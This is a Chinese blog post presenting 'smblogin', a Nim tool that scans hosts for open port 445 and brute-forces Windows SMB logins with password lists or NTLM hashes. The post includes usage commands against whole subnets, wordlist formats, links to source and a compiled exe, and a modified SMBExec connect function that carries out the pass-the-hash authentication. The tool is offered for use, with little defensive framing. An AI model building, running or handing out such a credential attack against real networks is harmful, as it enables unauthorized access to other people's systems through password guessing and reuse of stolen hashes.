SMB密码/HASH爆破(nim学习系列)

SMB密码爆破(nim学习系列)

关键字:windows smb密码爆破;445端口;弱口令扫描; ntlmhash爆破;

使用方法

  • 支持明文密码爆破
  • 支持ntlmhash爆破
  • 通过命令行或者文件导入目标IP地址
  • 先扫描目标IP 445端口,如果开放再进行密码爆破
  • 输出爆破过程,成功密码保持到 smblogin.log

IP地址的输入支持单个IP和CIDR。

账号密码的输入支持两种格式。

第一种,user.txt(存放用户名) 和 pass.txt(存放密码)。

第二种, userpass.txt(一行一对账号密码,用空格间隔,比如:administrator 123456)。

如果以上文件同时存在,优先选择第二种。

举例

明文密码爆破

smblogin.exe plain 192.168.1.0/24

smblogin.exe plain ip.txt

ntlmhash爆破

smblogin.exe hash 10.10.0.0/23

截图

使用截图

使用截图2

源代码 sublogin.nim

源代码:

sublogin.nim

已经编译好的exe:

sublogin.exe

主要使用到 SMBExec 模块,可通过 nimble install SMBExec 进行安装。

但是如果直接调用原版自带的 connect 函数(SMBExec.nim文件中)进行超过一次的登陆尝试,会提示“远程主机强迫关闭了一个现有的连接”错误。最后我复制 connect 函数,并重命名为 connectTest ,修改后的代码如下:

#[
Author: StudyCat
Blog: https://www.cnblogs.com/studycat
Github: https://github.com/StudyCat404/myNimExamples
License: BSD 3-Clause
]#
proc connectTest*(smb: SMB2): bool =
    var 
        recvClient: seq[string]
        response: string
    #### new line    
    messageID = 1    
    session_ID = @[0x00.byte,0x00.byte,0x00.byte,0x00.byte,0x00.byte,0x00.byte,0x00.byte,0x00.byte]    
    #### new line
    ## Connect
    smb.socket.connect(smb.target, 445.Port)

    ## SMBv1 Init negotiate
    smb.socket.send(getSMBv1NegoPacket())
    recvClient = smb.socket.recvPacket(1024, 100)

    ## Check Dialect
    #printC(Info, "Dialect: " & checkDialect recvClient)

    ## Check Signing
    signing = checkSigning recvClient
    #if signing:
    #    printC Info, "Signing Enabled"
    #else:
    #    printC Info, "Signing Disabled"

    ## SMBv2 negotiate
    smb.socket.send(getSMBv2NegoPacket())
    recvClient = smb.socket.recvPacket(1024, 100)

    ## SMBv2NTLM negotiate
    smb.socket.send(getSMBv2NTLMNego(signing))
    response = smb.socket.recvPacketForNTLM(1024, 100)

    ## Pass the hash
    let authPacket = getSMBv2NTLMAuth(getSMBv2NTLMSSP(response, smb.hash, smb.domain, smb.user, signing)) 

    smb.socket.send(authPacket)
    recvClient = smb.socket.recvPacket(1024, 100)

    if checkAuth recvClient:
        #printC Success, "Successfully logged on!"
        stage = TreeConnect
        return true
    else:
        #printC Error, "Login failed"
        stage = Exit
        return false

    #result = recvClient

向 k8gege学习 http://k8gege.org/Ladon/SmbScan.html

原文地址:https://www.cnblogs.com/StudyCat/p/14358976.html